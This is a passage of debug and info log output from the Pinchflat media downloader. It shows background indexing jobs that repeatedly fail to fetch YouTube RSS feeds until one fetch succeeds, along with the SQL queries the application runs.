feed\"}","args":{"id":3},"id":546,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":100291,"event":"job:exception","queue_time":917245,"attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:43:00.074 [info] {"source":"oban","duration":136,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:43:25.736 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:31.302 [info] {"args":{"id":3},"id":546,"meta":{},"system_time":1784871811302300123,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:43:31.302 [debug] QUERY OK source="sources" db=0.1ms idle=155.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:43:31.302 [debug] QUERY OK source="settings" db=0.0ms idle=155.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:43:31.302 [debug] QUERY OK source="media_profiles" db=0.0ms idle=155.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:43:31.303 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:43:31.303 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:43:31.403 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":546,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":100856,"event":"job:exception","queue_time":930917,"attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:43:55.737 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.076 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:44:20.351 [info] {"args":{"id":3},"id":546,"meta":{},"system_time":1784871860351359416,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:44:20.351 [debug] QUERY OK source="sources" db=0.0ms idle=1204.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:44:20.351 [debug] QUERY OK source="settings" db=0.0ms idle=1204.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:44:20.352 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:44:20.352 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:44:20.352 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:44:20.448 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":546,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":95992,"event":"job:exception","queue_time":947390,"attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:44:25.738 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:55.739 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.077 [info] {"source":"oban","duration":294,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:45:25.740 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:46.439 [info] {"args":{"id":3},"id":546,"meta":{},"system_time":1784871946439244464,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:45:46.439 [debug] QUERY OK source="sources" db=0.0ms idle=1292.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:45:46.439 [debug] QUERY OK source="settings" db=0.0ms idle=1292.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:45:46.439 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:45:46.440 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:45:46.440 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:45:46.540 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":546,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":100722,"event":"job:exception","queue_time":991134,"attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:45:55.741 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.078 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:46:25.742 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:55.743 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.078 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:47:25.744 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:55.745 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.079 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:48:21.607 [info] {"args":{"id":3},"id":546,"meta":{},"system_time":1784872101607192544,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:48:21.607 [debug] QUERY OK source="sources" db=0.0ms idle=460.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:48:21.607 [debug] QUERY OK source="settings" db=0.0ms idle=460.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:48:21.607 [debug] QUERY OK source="media_profiles" db=0.1ms idle=460.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:48:21.607 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:48:21.607 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:48:22.117 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":546,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":509475,"event":"job:exception","queue_time":66533,"attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:48:25.746 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:55.747 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.081 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:49:25.748 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:55.749 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.082 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:50:25.750 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:55.751 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.083 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:51:25.752 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:55.753 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.084 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:52:25.754 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:55.755 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:57.890 [info] {"args":{"id":3},"id":546,"meta":{},"system_time":1784872377890364870,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:52:57.890 [debug] QUERY OK source="sources" db=0.1ms idle=743.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:52:57.890 [debug] QUERY OK source="settings" db=0.0ms idle=743.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:52:57.890 [debug] QUERY OK source="media_profiles" db=0.0ms idle=743.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:52:57.891 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:52:57.891 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 05:52:58.066 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":546,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":175855,"event":"job:exception","queue_time":772693,"attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:53:00.085 [info] {"source":"oban","duration":407,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:53:25.756 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:55.757 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.085 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:54:25.758 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:55.759 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.087 [info] {"source":"oban","duration":143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:55:25.760 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:55.761 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.088 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:56:25.762 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:55.763 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.089 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:57:25.764 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:55.765 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.090 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:58:25.766 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:55.767 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:57.262 [info] {"args":{"id":1},"id":543,"meta":{},"system_time":1784872737262415291,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:58:57.262 [debug] QUERY OK source="sources" db=0.1ms idle=115.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:58:57.262 [debug] QUERY OK source="settings" db=0.0ms idle=115.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:58:57.263 [debug] QUERY OK source="media_profiles" db=0.0ms idle=115.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:58:57.263 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:58:57.263 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 05:58:57.509 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":543,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":245765,"event":"job:exception","queue_time":958775,"attempt":11,"tags":["media_source","fast_indexing","show_in_dashboard"]} 05:59:00.091 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:59:25.768 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:55.769 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.091 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:00:25.770 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:55.771 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.092 [info] {"source":"oban","duration":113,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:01:25.772 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:55.774 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.094 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:02:25.776 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:28.495 [info] {"args":{"id":3},"id":546,"meta":{},"system_time":1784872948495459445,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:02:28.495 [debug] QUERY OK source="sources" db=0.1ms idle=1348.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:02:28.495 [debug] QUERY OK source="settings" db=0.0ms idle=1348.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:02:28.495 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:02:28.496 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:02:28.496 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:02:28.900 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 06:02:28.900 [debug] QUERY OK source="media_items" db=0.4ms idle=405.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 06:02:28.904 [debug] QUERY OK source="media_items" db=3.3ms idle=405.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 